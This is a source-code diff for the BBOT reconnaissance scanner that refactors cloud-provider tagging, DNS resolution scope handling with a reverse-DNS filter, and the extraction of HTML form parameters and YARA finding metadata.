+                    for provider_type in provider_types:
+                        event.add_tag(provider_type)
+                    event.add_tag(provider_name)
+                    # determine how the match was triggered
                     if host_is_ip:
-                        event.add_tag(f"{provider_name}-ip")
+                        match_type = "ip"
+                    elif i == 0:
+                        match_type = "domain"
                     else:
-                        # if the original hostname is a cloud domain, tag it as such
-                        if i == 0:
-                            event.add_tag(f"{provider_name}-domain")
-                        # any children are tagged as CNAMEs
-                        else:
-                            event.add_tag(f"{provider_name}-cname")
+                        match_type = "cname"
+                    # structured details in host_metadata
+                    host_meta = event.host_metadata.setdefault(host, {})
+                    cloud_providers = host_meta.setdefault("cloud_providers", {})
+                    cloud_providers[provider_name] = {
+                        "types": sorted(set(provider_types)),
+                        "match": match_type,
+                    }
+
+        # mark this event so descendants can inherit our cloud tags;
+        # resolved_hosts is naturally immutable so descendants can trust
+        # parent.resolved_hosts directly without a snapshot
+        event._cloudcheck_done = True
 
         # we only generate storage buckets off of in-scope or distance-1 events
         if event.scope_distance >= self.max_scope_distance:
             return
 
-        # see if any of our hosts are storage buckets, etc.
-        regexes = await self.cloud_hostname_regexes()
-        regexes = regexes.get("STORAGE_BUCKET_HOSTNAME", [])
-        for regex_name, regex in regexes.items():
+        # storage-bucket hostnames are anchored to provider-specific suffixes
+        # (e.g. .amazonaws.com), so they can never match a bare IP literal
+        if all(self.helpers.is_ip(h) for h in hosts_to_check):
+            return
+
+        # YARA prefilter: run all bucket patterns simultaneously against the
+        # joined hosts. ~95% of events have no host that could possibly match,
+        # and YARA returns no matches in one optimized scan — skipping the
+        # per-regex Python loop entirely. Only on a hit do we run the full
+        # per-regex pass below to extract the named `name` / `region` groups.
+        if self._bucket_yara is not None:
+            if not self._bucket_yara.match(data="\n".join(hosts_to_check)):
+                return
+
+        # at least one host *could* be a bucket — run the per-regex extraction
+        for regex_name, regex in self._storage_bucket_regexes.items():
             for host in hosts_to_check:
                 if match := regex.match(host):
-                    try:
-                        bucket_name, bucket_domain = match.groups()
-                    except Exception as e:
-                        self.error(
-                            f"Bucket regex {regex_name} ({regex}) is not formatted correctly to extract bucket name and domain: {e}"
-                        )
-                        continue
-                    bucket_name, bucket_domain = match.groups()
-                    bucket_url = f"https://{bucket_name}.{bucket_domain}"
-                    await self.emit_event(
-                        {
-                            "name": bucket_name,
-                            "url": bucket_url,
-                            "context": f"{{module}} analyzed {event.type} and found {{event.type}}: {bucket_url}",
-                        },
-                        "STORAGE_BUCKET",
-                        parent=event,
-                    )
-
-    async def cloud_hostname_regexes(self):
-        async with self._cloud_hostname_regexes_lock:
-            if not self._cloud_hostname_regexes:
-                storage_bucket_regexes = {}
-                self._cloud_hostname_regexes = {"STORAGE_BUCKET_HOSTNAME": storage_bucket_regexes}
-                from cloudcheck import providers
-
-                for attr in dir(providers):
-                    if attr.startswith("_"):
+                    groups = match.groupdict()
+                    bucket_name = groups.get("name")
+                    if not bucket_name:
+                        self.error(f"Bucket regex {regex_name} ({regex.pattern}) did not yield a 'name' group")
                         continue
-                    provider = getattr(providers, attr)
-                    provider_regexes = getattr(provider, "regexes", {})
-                    for regex_name, regexes in provider_regexes.items():
-                        for i, regex in enumerate(regexes):
-                            if not regex_name in ("STORAGE_BUCKET_HOSTNAME"):
-                                continue
-                            try:
-                                storage_bucket_regexes[f"{attr}-{regex_name}-{i}"] = re.compile(regex)
-                            except Exception as e:
-                                self.error(f"Error compiling regex for {attr}-{regex_name}: {e}")
-                                continue
-            return self._cloud_hostname_regexes
+                    region = groups.get("region")
+                    bucket_url = f"https://{host}"
+                    bucket_data = {
+                        "name": bucket_name,
+                        "url": bucket_url,
+                        "context": f"{{module}} analyzed {event.type} and found {{event.type}}: {bucket_url}",
+                    }
+                    if region:
+                        bucket_data["region"] = region
+                    await self.emit_event(bucket_data, "STORAGE_BUCKET", parent=event)
+
+    def _inherit_cloud_tags(self, event, hosts_to_check):
+        """
+        If `event`'s parent has already been through cloudcheck and its host
+        set covers ours, copy the parent's per-host cloud metadata into ours
+        for the hosts we share. Returns True if inheritance was applied
+        (caller can skip the lookup phase).
+
+        Safe because `resolved_hosts` is naturally immutable after dnsresolve
+        finalizes an event — no module can retroactively add a host that the
+        parent never looked up.
+
+        We iterate `parent.host_metadata` (only matched hosts; typically zero
+        or one entries) rather than the child's full `hosts_to_check`. When
+        parent has no matches we do no work beyond the subset gate.
+        """
+        parent = event.get_parent()
+        if parent is None or parent is event or not getattr(parent, "_cloudcheck_done", False):
+            return False
+        parent_host = parent.host_original
+        if parent_host is None:
+            return False
+
+        # subset gate: parent's host set must cover ours, otherwise parent's
+        # "no match" results aren't reliable for hosts parent never looked up
+        my_hosts = set(hosts_to_check)
+        parent_hosts = set(parent.resolved_hosts)
+        parent_hosts.add(str(parent_host))
+        if not my_hosts.issubset(parent_hosts):
+            return False
+
+        # walk parent's matched hosts; copy only ones we share, recompute
+        # `match` from child's perspective (position-independent: "domain"
+        # is just "this host equals our host_original")
+        parent_meta = getattr(parent, "_host_metadata", None)
+        if parent_meta:
+            event_host_original = event.host_original
+            for host, host_data in parent_meta.items():
+                if host not in my_hosts:
+                    continue
+                cloud_providers = host_data.get("cloud_providers")
+                if not cloud_providers:
+                    continue
+                if self.helpers.is_ip(host):
+                    match_type = "ip"
+                elif host == event_host_original:
+                    match_type = "domain"
+                else:
+                    match_type = "cname"
+                my_host_data = event.host_metadata.setdefault(host, {})
+                my_cloud_providers = my_host_data.setdefault("cloud_providers", {})
+                for provider_name, info in cloud_providers.items():
+                    # fresh dict — never share parent's inner objects
+                    my_cloud_providers[provider_name] = {
+                        "types": list(info.get("types", [])),
+                        "match": match_type,
+                    }
+                    event.add_tag(provider_name)
+                    for tag in info.get("types", []):
+                        event.add_tag(tag)
+        return True
diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py
index 3dddd289a4..f4a5abae1a 100644
--- a/bbot/modules/internal/dnsresolve.py
+++ b/bbot/modules/internal/dnsresolve.py
@@ -1,15 +1,17 @@
-import ipaddress
+import sys
 from contextlib import suppress
 
+from blastdns import DNSResult
+
 from bbot.errors import ValidationError
-from bbot.core.helpers.dns.engine import all_rdtypes
-from bbot.core.helpers.dns.helpers import extract_targets
+from bbot.core.helpers.misc import cached_ip_address
+from bbot.core.helpers.dns.helpers import all_rdtypes, extract_targets, record_to_text
 from bbot.modules.base import BaseInterceptModule, BaseModule
 
 
 class DNSResolve(BaseInterceptModule):
     watched_events = ["*"]
-    produced_events = ["DNS_NAME", "IP_ADDRESS", "RAW_DNS_RECORD"]
+    produced_events = ["DNS_NAME", "IP_ADDRESS", "IP_RANGE", "RAW_DNS_RECORD"]
     meta = {"description": "Perform DNS resolution", "created_date": "2022-04-08", "author": "@TheTechromancer"}
     _priority = 1
     scope_distance_modifier = None
@@ -37,8 +39,12 @@ async def setup(self):
         self.dns_search_distance = max(0, int(self.dns_config.get("search_distance", 1)))
         self._emit_raw_records = None
 
+        self.filter_ptrs = self.dns_config.get("filter_ptrs", True)
+
         self.host_module = self.HostModule(self.scan)
         self.children_emitted = set()
+        self.in_scope_children = set()
+        self.child_edges_emitted = set()
         self.children_emitted_raw = set()
         self.hosts_resolved = set()
 
@@ -59,17 +65,25 @@ async def handle_event(self, event, **kwargs):
             non_minimal_rdtypes = self.non_minimal_rdtypes
 
         # first, we find or create the main DNS_NAME or IP_ADDRESS associated with this event
-        main_host_event, whitelisted, blacklisted, new_event = self.get_dns_parent(event)
+        main_host_event, in_target, blacklisted, new_event = self.get_dns_parent(event)
         original_tags = set(event.tags)
 
         # minimal resolution - first, we resolve A/AAAA records for scope purposes
         if new_event or event is main_host_event:
             await self.resolve_event(main_host_event, types=minimal_rdtypes)
-            # are any of its IPs whitelisted/blacklisted?
-            whitelisted, blacklisted = self.check_scope(main_host_event)
-            if whitelisted and event.scope_distance > 0:
-                self.debug(f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)")
-                main_host_event.scope_distance = 0
+            # are any of its IPs in target scope or blacklisted?
+            in_target, blacklisted = self.check_scope(main_host_event)
+            if in_target and main_host_event.scope_distance > 0:
+                # when filter_ptrs is enabled, don't promote PTR-derived hostnames to in-scope
+                # this prevents rDNS results from triggering subdomain enumeration against unrelated domains
+                # (e.g. scanning 1.2.3.0/24 would otherwise enumerate every PTR parent like randomothercorp.com)
+                if self.filter_ptrs and "ptr" in main_host_event.tags:
+                    self.debug(f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)")
+                else:
+                    self.debug(
+                        f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)"
+                    )
+                    main_host_event.scope_distance = 0
 
         # abort if the event resolves to something blacklisted
         if blacklisted:
@@ -99,9 +113,13 @@ async def handle_event(self, event, **kwargs):
                                 )
 
         # if there weren't any DNS children and it's not an IP address, tag as unresolved
+        # Exception: don't convert seed events to DNS_NAME_UNRESOLVED so accept_seeds modules can process them
         if not main_host_event.raw_dns_records and not event_is_ip:
-            main_host_event.add_tag("unresolved")
-            main_host_event.type = "DNS_NAME_UNRESOLVED"
+            if "seed" not in main_host_event.tags:
+                main_host_event.add_tag("unresolved")
+                main_host_event.type = "DNS_NAME_UNRESOLVED"
+                # avoid emitting DNS_NAME_UNRESOLVED affiliates
+                main_host_event.always_emit_tags = []
 
         # main_host_event.add_tag(f"resolve-distance-{main_host_event.dns_resolve_distance}")
 
@@ -116,10 +134,14 @@ async def handle_event(self, event, **kwargs):
             )
             main_host_event.add_tag(f"runaway-dns-{dns_resolve_distance}")
         else:
-            # emit dns children
-            await self.emit_dns_children_raw(main_host_event, dns_tags)
-            if not self.minimal:
-                await self.emit_dns_children(main_host_event)
+            # graph-important events are edge-only re-emissions of an already-processed host;
+            # skip re-walking their children (the canonical emission already did so, and
+            # re-walking would re-emit the same cross-parent edges once per parent)
+            if not event._graph_important:
+                # emit dns children
+                await self.emit_dns_children_raw(main_host_event, dns_tags)
+                if not self.minimal:
+                    await self.emit_dns_children(main_host_event)
 
             # emit the main DNS_NAME or IP_ADDRESS
             if (
@@ -150,7 +172,7 @@ async def handle_wildcard_event(self, event):
             event.add_tag(f"{rdtype}-{wildcard_tag}")
 
         # wildcard event modification (www.evilcorp.com --> _wildcard.evilcorp.com)
-        if wildcard_rdtypes and "target" not in event.tags:
+        if wildcard_rdtypes and "seed" not in event.tags:
             # these are the rdtypes that have wildcards
             wildcard_rdtypes_set = set(wildcard_rdtypes)
             # consider the event a full wildcard if all its records are wildcards
@@ -167,7 +189,9 @@ async def handle_wildcard_event(self, event):
                             break
                     wildcard_data = f"_wildcard.{wildcard_parent}"
                     if wildcard_data != event.data:
-                        self.debug(f'Wildcard detected, changing event.data "{event.data}" --> "{wildcard_data}"')
+                        self.debug(
+                            f'Wildcard detected, changing event.data "{event.pretty_string}" --> "{wildcard_data}"'
+                        )
                         event.data = wildcard_data
                         return True
         return False
@@ -179,26 +203,53 @@ async def emit_dns_children(self, event):
                 try:
                     child_event = self.scan.make_event(
                         child_host,
-                        "DNS_NAME",
+                        # auto-detect the type; SPF TXT children can be IP_ADDRESS / IP_RANGE
+                        None,
                         module=module,
                         parent=event,
                         context=f"{rdtype} record for {event.host} contains {{event.type}}: {{event.host}}",
                     )
                 except ValidationError as e:
-                    self.warning(f'Event validation failed for DNS child of {event}: "{child_host}" ({rdtype}): {e}')
+                    self.trace(f'Event validation failed for DNS child of {event}: "{child_host}" ({rdtype}): {e}')
                     continue
 
-                child_hash = hash(f"{event.host}:{module}:{child_host}")
+                # tag PTR-derived children so downstream logic can identify them
+                if rdtype == "PTR":
+                    child_event.add_tag("ptr")
+
+                child_hash = hash(f"{module}:{child_host}")
                 # if we haven't emitted this one before
                 if child_hash not in self.children_emitted:
+                    child_in_scope = self.preset.in_scope(child_host)
                     # and it's either in-scope or inside our dns search distance
-                    if self.preset.in_scope(child_host) or child_event.scope_distance <= self._dns_search_distance:
+                    if child_in_scope or child_event.scope_distance <= self._dns_search_distance:
                         self.children_emitted.add(child_hash)
+                        if child_in_scope:
+                            # remember in-scope children (so cross-parent dups are recognized without
+                            # a second scope lookup) and record this parent->child edge
+                            self.in_scope_children.add(child_hash)
+                            self.child_edges_emitted.add(hash(f"{event.host}:{module}:{child_host}"))
                         # if it's a hostname and it's only one hop away, mark it as affiliate
                         if child_event.type == "DNS_NAME" and child_event.scope_distance == 1:
                             child_event.add_tag("affiliate")
                         self.debug(f"Queueing DNS child for {event}: {child_event}")
                         await self.emit_event(child_event)
+                # the child entity was already emitted, but a genuinely new in-scope parent->child
+                # edge is worth preserving for graph outputs (neo4j/json) so shared in-scope
+                # infrastructure keeps every edge. out-of-scope dups and same-parent re-processing
+                # stay collapsed (out-of-scope children never enter in_scope_children).
+                elif child_hash in self.in_scope_children:
+                    # parent-aware key: tells a genuinely new parent->child edge apart from the same
+                    # host being re-processed (children_emitted drops the parent, so it can't)
+                    edge_hash = hash(f"{event.host}:{module}:{child_host}")
+                    if edge_hash not in self.child_edges_emitted:
+                        self.child_edges_emitted.add(edge_hash)
+                        # _graph_important must imply the event reaches output; an omitted type is
+                        # dropped there regardless, so don't flag it (keeps _graph_important => not _omit)
+                        if child_event.type not in self.scan.omitted_event_types:
+                            child_event._graph_important = True
+                            self.debug(f"Queueing graph-important DNS child edge for {event}: {child_event}")
+                            await self.emit_event(child_event)
 
     async def emit_dns_children_raw(self, event, dns_tags):
         for rdtype, answers in event.raw_dns_records.items():
@@ -206,7 +257,7 @@ async def emit_dns_children_raw(self, event, dns_tags):
             tags = {t for t in dns_tags if rdtype_lower in t.split("-")}
             if self.emit_raw_records and rdtype not in ("A", "AAAA", "CNAME", "PTR"):
                 for answer in answers:
-                    text_answer = answer.to_text()
+                    text_answer = record_to_text(answer)
                     child_hash = hash(f"{event.host}:{rdtype}:{text_answer}")
                     if child_hash not in self.children_emitted_raw:
                         self.children_emitted_raw.add(child_hash)
@@ -219,21 +270,23 @@ async def emit_dns_children_raw(self, event, dns_tags):
                         )
 
     def check_scope(self, event):
-        whitelisted = False
+        in_target = False
         blacklisted = False
-        dns_children = getattr(event, "dns_children", {})
+        dns_children = event.dns_children
+        # collect all resolved hosts locally then assign once; resolved_hosts
+        # is naturally immutable (frozenset) and has no in-place mutation API
+        all_hosts = set()
         for rdtype in ("A", "AAAA", "CNAME"):
             hosts = dns_children.get(rdtype, [])
-            # update resolved hosts
-            event.resolved_hosts.update(hosts)
+            all_hosts.update(sys.intern(h) for h in hosts)
             for host in hosts:
                 # having a CNAME to an in-scope host doesn't make you in-scope
                 if rdtype != "CNAME":
-                    if not whitelisted:
+                    if not in_target:
                         with suppress(ValidationError):
-                            if self.scan.whitelisted(host):
-                                whitelisted = True
-                                event.add_tag(f"dns-whitelisted-{rdtype}")
+                            if self.scan.in_target(host):
+                                in_target = True
+                                event.add_tag(f"dns-in-target-{rdtype}")
                 # but a CNAME to a blacklisted host means you're blacklisted
                 if not blacklisted:
                     with suppress(ValidationError):
@@ -241,62 +294,64 @@ def check_scope(self, event):
                             blacklisted = True
                             event.add_tag("blacklisted")
                             event.add_tag(f"dns-blacklisted-{rdtype}")
+        if all_hosts:
+            event.resolved_hosts = all_hosts
         if blacklisted:
-            whitelisted = False
-        return whitelisted, blacklisted
+            in_target = False
+        return in_target, blacklisted
 
     async def resolve_event(self, event, types):
         if not types:
             return
         event_host = str(event.host)
-        queries = [(event_host, rdtype) for rdtype in types]
-        dns_errors = {}
-        async for (query, rdtype), (answers, errors) in self.helpers.dns.resolve_raw_batch(queries):
-            # errors
-            try:
-                dns_errors[rdtype].update(errors)
-            except KeyError:
-                dns_errors[rdtype] = set(errors)
+        results = await self.helpers.dns.resolve_multi_full(event_host, list(types))
+        for rdtype, response in results.items():
+            rdtype = sys.intern(rdtype)
+            if not isinstance(response, DNSResult):
+                # blastdns returns a DNSError for this rdtype; tag and move on
+                if rdtype not in event.dns_children:
+                    event.add_tag(f"{rdtype}-error")
+                continue
+
+            answers = response.response.answers
+            if not answers:
+                continue
+
+            event.add_tag(f"{rdtype}-record")
+            # blastdns hands us an already-unique list[Record] -- store as-is, no copy
+            event.set_raw_dns_record(rdtype, answers)
             for answer in answers:
-                event.add_tag(f"{rdtype}-record")
-                # raw dnspython answers
-                try:
-                    event.raw_dns_records[rdtype].add(answer)
-                except KeyError:
-                    event.raw_dns_records[rdtype] = {answer}
-                # hosts
                 for _rdtype, host in extract_targets(answer):
-                    try:
-                        event.dns_children[_rdtype].add(host)
-                    except KeyError:
-                        event.dns_children[_rdtype] = {host}
+                    _rdtype = sys.intern(_rdtype)
+                    host = sys.intern(host)
+                    event.add_dns_child(_rdtype, host)
                     # check for private IPs
                     try:
-                        ip = ipaddress.ip_address(host)
+                        ip = cached_ip_address(host)
                         if ip.is_private:
                             event.add_tag("private-ip")
                     except ValueError:
                         continue
 
-        # tag event with errors
-        for rdtype, errors in dns_errors.items():
-            # only consider it an error if there weren't any results for that rdtype
-            if errors and rdtype not in event.dns_children:
-                event.add_tag(f"{rdtype}-error")
-
     def get_dns_parent(self, event):
         """
         Get the first parent DNS_NAME / IP_ADDRESS of an event. If one isn't found, create it.
+
+        Returns a 4-tuple of:
+        - the parent event
+        - whether the parent is in target
+        - whether the parent is blacklisted
+        - whether the parent is a new event, i.e. it is newly created or is the current event
         """
         for parent in event.get_parents(include_self=True):
             if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"):
                 blacklisted = any(t.startswith("dns-blacklisted-") for t in parent.tags)
-                whitelisted = any(t.startswith("dns-whitelisted-") for t in parent.tags)
+                in_target = any(t.startswith("dns-in-target-") for t in parent.tags)
                 new_event = parent is event
-                return parent, whitelisted, blacklisted, new_event
+                return parent, in_target, blacklisted, new_event
         tags = set()
-        if "target" in event.tags:
-            tags.add("target")
+        if "seed" in event.tags:
+            tags.add("seed")
         return (
             self.scan.make_event(
                 event.host,
diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py
index f5c75a5c9b..19309366b5 100644
--- a/bbot/modules/internal/excavate.py
+++ b/bbot/modules/internal/excavate.py
@@ -10,6 +10,7 @@
 from bbot.modules.base import BaseInterceptModule
 from bbot.modules.internal.base import BaseInternalModule
 from urllib.parse import urlparse, urljoin, parse_qs, urlunparse, urldefrag
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 def find_subclasses(obj, base_class):
@@ -40,6 +41,39 @@ def find_subclasses(obj, base_class):
     return subclasses
 
 
+def _pick_select_value(options_html):
+    """Choose the best <option> value from a <select>'s inner HTML.
+
+    Preference order:
+      1. The option carrying a `selected` attribute (its value, blank or not).
+      2. The first option's value (blank or not) — filter-style forms often use
+         an empty default that "matches all", so substituting a specific choice
+         could narrow results to nothing.
+      3. None, if there are no options at all.
+    """
+    if not options_html:
+        return None
+    selected_value = None
+    selected_found = False
+    first_value = None
+    first_set = False
+    for attrs in bbot_regexes.option_tag_regex.findall(options_html):
+        value_match = bbot_regexes.option_value_regex.search(attrs)
+        if value_match:
+            value = next((g for g in value_match.groups() if g is not None), "")
+        else:
+            value = ""
+        if not first_set:
+            first_value = value
+            first_set = True
+        if not selected_found and bbot_regexes.option_selected_regex.search(attrs):
+            selected_value = value
+            selected_found = True
+    if selected_found:
+        return selected_value
+    return first_value if first_set else None
+
+
 def _exclude_key(original_dict, key_to_exclude):
     """
     Returns a new dictionary excluding the specified key from the original dictionary.
@@ -105,10 +139,12 @@ def extract_params_location(location_header_value, original_parsed_url):
 
 
 class YaraRuleSettings:
-    def __init__(self, description, tags, emit_match):
+    def __init__(self, description, tags, emit_match, severity, confidence):
         self.description = description
         self.tags = tags
         self.emit_match = emit_match
+        self.severity = severity
+        self.confidence = confidence
 
 
 class ExcavateRule:
@@ -153,6 +189,8 @@ async def preprocess(self, r, event, discovery_context):
         description = ""
         tags = []
         emit_match = False
+        severity = "INFO"
+        confidence = "UNKNOWN"
 
         if "description" in r.meta.keys():
             description = r.meta["description"]
@@ -160,8 +198,12 @@ async def preprocess(self, r, event, discovery_context):
             tags = self.excavate.helpers.chain_lists(r.meta["tags"])
         if "emit_match" in r.meta.keys():
             emit_match = True
+        if "severity" in r.meta.keys():
+            severity = r.meta["severity"]
+        if "confidence" in r.meta.keys():
+            confidence = r.meta["confidence"]
 
-        yara_rule_settings = YaraRuleSettings(description, tags, emit_match)
+        yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence)
         yara_results = {}
         for h in r.strings:
             yara_results[h.identifier.lstrip("$")] = sorted(
@@ -185,7 +227,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
         event : Event
             The event data associated with the YARA match.
         yara_rule_settings : YaraRuleSettings
-            The settings configured from YARA rule meta tags, including description, tags, and emit_match flag.
+            The settings configured from YARA rule meta tags, including description, severity, confidence, tags, and emit_match flag.
         discovery_context : DiscoveryContext
             The context in which the discovery is made.
 
@@ -194,7 +236,10 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
         """
         for results in yara_results.values():
             for result in results:
-                event_data = {"description": f"{discovery_context} {yara_rule_settings.description}"}
+                event_data = {
+                    "name": f"{discovery_context} {yara_rule_settings.description}",
+                    "description": f"{discovery_context} {yara_rule_settings.description}",
+                }
                 if yara_rule_settings.emit_match:
                     event_data["description"] += f" [{result}]"
                 await self.report(event_data, event, yara_rule_settings, discovery_context)
@@ -245,7 +290,7 @@ async def report(
         event : Event
             The parent event to which this event is related.
         yara_rule_settings : YaraRuleSettings
-            The settings configured from YARA rule meta tags, including description and tags.
+            The settings configured from YARA rule meta tags, including description, severity, confidence, and tags.
         discovery_context : DiscoveryContext
             The context in which the discovery is made.
         event_type : str, optional
@@ -258,10 +303,19 @@ async def report(
         Returns:
         None
         """
+        if event_type == "URL_UNVERIFIED" and await self.excavate._host_is_http_wildcard(event):
+            return
 
         # If a description is not set and is needed, provide a basic one
-        if event_type == "FINDING" and "description" not in event_data.keys():
-            event_data["description"] = f"{discovery_context} {yara_rule_settings['self.description']}"
+        if event_type == "FINDING":
+            if "description" not in event_data.keys():
+                event_data["description"] = f"{discovery_context} {yara_rule_settings.description}"
+            if "name" not in event_data.keys():
+                event_data["name"] = f"{discovery_context} {yara_rule_settings.description}"
+            if "severity" not in event_data.keys():
+                event_data["severity"] = yara_rule_settings.severity
+            if "confidence" not in event_data.keys():
+                event_data["confidence"] = yara_rule_settings.confidence
         subject = ""
         if isinstance(event_data, str):
             subject = f" {event_data}"
@@ -281,7 +335,9 @@ def __init__(self, excavate):
     async def process(self, yara_results, event, yara_rule_settings, discovery_context):
         for identifier, results in yara_results.items():
             for result in results:
-                event_data = {}
+                event_data = {
+                    "name": f"Custom Yara Rule [{self.name}]",
+                }
                 description_string = (
                     f" with description: [{yara_rule_settings.description}]" if yara_rule_settings.description else ""
                 )
@@ -290,6 +346,9 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
                 )
                 if yara_rule_settings.emit_match:
                     event_data["description"] += f" and extracted [{result}]"
+                event_data["severity"] = yara_rule_settings.get("severity", "LOW")
+                event_data["confidence"] = yara_rule_settings.get("confidence", "UNKNOWN")
+
                 await self.report(event_data, event, yara_rule_settings, discovery_context)
 
 
@@ -306,27 +365,31 @@ class excavateTestRule(ExcavateRule):
 
     watched_events = ["HTTP_RESPONSE", "RAW_TEXT"]
     produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER"]
-    flags = ["passive"]
+    _avoid_duplicate_content = True
+    flags = ["safe", "passive"]
     meta = {
         "description": "Passively extract juicy tidbits from scan data",
         "created_date": "2022-06-27",
         "author": "@liquidsec",
     }
 
-    options = {
-        "yara_max_match_data": 2000,
-        "custom_yara_rules": "",
-        "speculate_params": False,
-    }
-    options_desc = {
-        "yara_max_match_data": "Sets the maximum amount of text that can extracted from a YARA regex",
-        "custom_yara_rules": "Include custom Yara rules",
-        "speculate_params": "Enable speculative parameter extraction from JSON and XML content",
-    }
+    class Config(BaseModuleConfig):
+        yara_max_match_data: int = Field(
+            2000, description="Sets the maximum amount of text that can extracted from a YARA regex"
+        )
+        custom_yara_rules: str = Field("", description="Include custom Yara rules")
+        speculate_params: bool = Field(
+            False, description="Enable speculative parameter extraction from JSON and XML content"
+        )
+        max_form_bytes: int = Field(
+            262144,
+            description="Maximum byte slice of the response body searched for a single <form> body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.",
+        )
+
     scope_distance_modifier = None
     accept_dupes = False
 
-    _module_threads = 8
+    _module_threads = 6
 
     yara_rule_name_regex = re.compile(r"rule\s(\w+)\s{")
     yara_rule_regex = re.compile(r"(?s)((?:rule\s+\w+\s*{[^{}]*(?:{[^{}]*}[^{}]*)*[^{}]*(?:/\S*?}[^/]*?/)*)*})")
@@ -339,11 +402,50 @@ def in_bl(self, value):
             return True
 
         for bl_param_prefix in self.parameter_blacklist_prefixes:
-            if lower_value.startswith(bl_param_prefix.lower()):
+            if lower_value.startswith(bl_param_prefix):
                 return True
 
         return False
 
+    def _is_archived(self, event):
+        """Check if an event represents archived wayback content."""
+        return isinstance(event.data, dict) and "archive_url" in event.data
+
+    async def _host_is_http_wildcard(self, event):
+        """True if this event's host is an HTTP wildcard responder."""
+        return await self._is_http_wildcard_host(event) is True
+
+    def _event_host(self, event):
+        """Get the effective host from an event.
+
+        For archived wayback content, uses data["host"] (the original target hostname).
+        For regular events, uses event.host.
+
+        NOTE: Regular HTTP_RESPONSE events also have data["host"], but it contains the
+        resolved IP — NOT a hostname override.
+        """
+        if self._is_archived(event) and event.data.get("host"):
+            return str(event.data["host"])
+        return str(event.host)
+
+    def _event_base_url(self, event):
+        """Get the effective base URL from an event.
+
+        For archived wayback content, reconstructs the URL from explicit fields
+        (host/scheme/port/path). For regular events, returns event.parsed_url directly.
+        """
+        if not self._is_archived(event):
+            return event.parsed_url
+        scheme = event.data.get("scheme", event.parsed_url.scheme)
+        host = self._event_host(event)
+        port = event.data.get("port")
+        if port is not None:
+            port = int(port)
+            if not ((scheme == "http" and port == 80) or (scheme == "https" and port == 443)):
+                host = f"{host}:{port}"
+        path = event.data.get("path", event.parsed_url.path)
+        return urlparse(f"{scheme}://{host}{path}")
+
     def url_unparse(self, param_type, parsed_url):
         # Reconstructs a URL, optionally omitting the query string based on remove_querystring configuration value.
         if param_type == "GETPARAM":
@@ -372,14 +474,30 @@ class ParameterExtractorRule:
             async def extract(self):
                 pass
 
-            def __init__(self, excavate, result):
+            def __init__(self, excavate, result, response_body=None, match_offset=0):
                 self.excavate = excavate
                 self.result = result
+                self.response_body = response_body
+                self.match_offset = match_offset
+
+            def form_body_slice(self):
+                """Return up to ``max_form_bytes`` of response body starting at the YARA match offset.
+
+                YARA only locates form openings (its ~4 KB `.*` ceiling can't span large forms);
+                the Python extraction regex runs on this slice. Forms exceeding the cap are skipped.
+                """
+                if not self.response_body:
+                    return str(self.result)
+                max_bytes = getattr(self.excavate, "max_form_bytes", 262144)
+                body_bytes = self.response_body.encode("utf-8", errors="replace")
+                end = min(len(body_bytes), self.match_offset + max_bytes)
+                return body_bytes[self.match_offset : end].decode("utf-8", errors="replace")
 
         class GetJquery(ParameterExtractorRule):
             name = "GET jquery"
             discovery_regex = r"/\$.get\([^\)].+\)/ nocase"
             extraction_regex = re.compile(r"\$.get\([\'\"](.+)[\'\"].+(\{.+\})\)")
+            _json_key_regex = re.compile(r"(\w+):")
             output_type = "GETPARAM"
 
             async def extract(self):
@@ -387,6 +505,8 @@ async def extract(self):
                 if extracted_results:
                     for action, extracted_parameters in extracted_results:
                         extracted_parameters_dict = await self.convert_to_dict(extracted_parameters)
+                        if extracted_parameters_dict is None:
+                            continue
                         for parameter_name, original_value in extracted_parameters_dict.items():
                             yield (
                                 self.output_type,
@@ -399,7 +519,7 @@ async def extract(self):
             async def convert_to_dict(self, extracted_str):
                 extracted_str = extracted_str.replace("'", '"')
                 extracted_str = await self.excavate.helpers.re.sub(
-                    re.compile(r"(\w+):"), r'"\1":', extracted_str
+                    self._json_key_regex, r'"\1":', extracted_str
                 )  # Quote keys
 
                 try:
@@ -492,7 +612,8 @@ async def extract(self):
 
         class GetForm(ParameterExtractorRule):
             name = "GET Form"
-            discovery_regex = r'/<form[^>]*\bmethod=["\']?get["\']?[^>]*>.*<\/form>/s nocase'
+            # YARA matches only the opening tag; extract() scans a bounded body slice (form_body_slice).
+            discovery_regex = r'/<form[^>]*\bmethod=["\']?get["\']?[^>]*>/s nocase'
             form_content_regexes = {
                 "input_tag_regex": bbot_regexes.input_tag_regex,
                 "input_tag_regex2": bbot_regexes.input_tag_regex2,
@@ -508,7 +629,7 @@ class GetForm(ParameterExtractorRule):
             output_type = "GETPARAM"
 
             async def extract(self):
-                forms = await self.excavate.helpers.re.findall(self.extraction_regex, str(self.result))
+                forms = await self.excavate.helpers.re.findall(self.extraction_regex, self.form_body_slice())
                 for form_action, form_content in forms:
                     if not form_action or form_action == "#":
                         form_action = None
@@ -530,10 +651,17 @@ async def extract(self):
                             ]:
                                 # Swap elements if needed
                                 input_tags = [(b, a) for a, b in input_tags]
+                            if form_content_regex_name == "select_tag_regex":
+                                # Prefer the option marked `selected`, falling back to the first
+                                # option (blank or not — filter forms often use a blank default
+                                # that matches all results)
+                                input_tags = [
+                                    (name, _pick_select_value(options_html)) for name, options_html in input_tags
+                                ]
                             for parameter_name, original_value in input_tags:
-                                form_parameters.setdefault(
-                                    parameter_name, original_value.strip() if original_value else None
-                                )
+                                # Preserve empty strings; only None means "no value seen".
+                                normalized = original_value.strip() if original_value is not None else None
+                                form_parameters.setdefault(parameter_name, normalized)
 
                     for parameter_name, original_value in form_parameters.items():
                         yield (
@@ -549,7 +677,7 @@ class GetForm2(GetForm):
 
         class PostForm(GetForm):
             name = "POST Form"
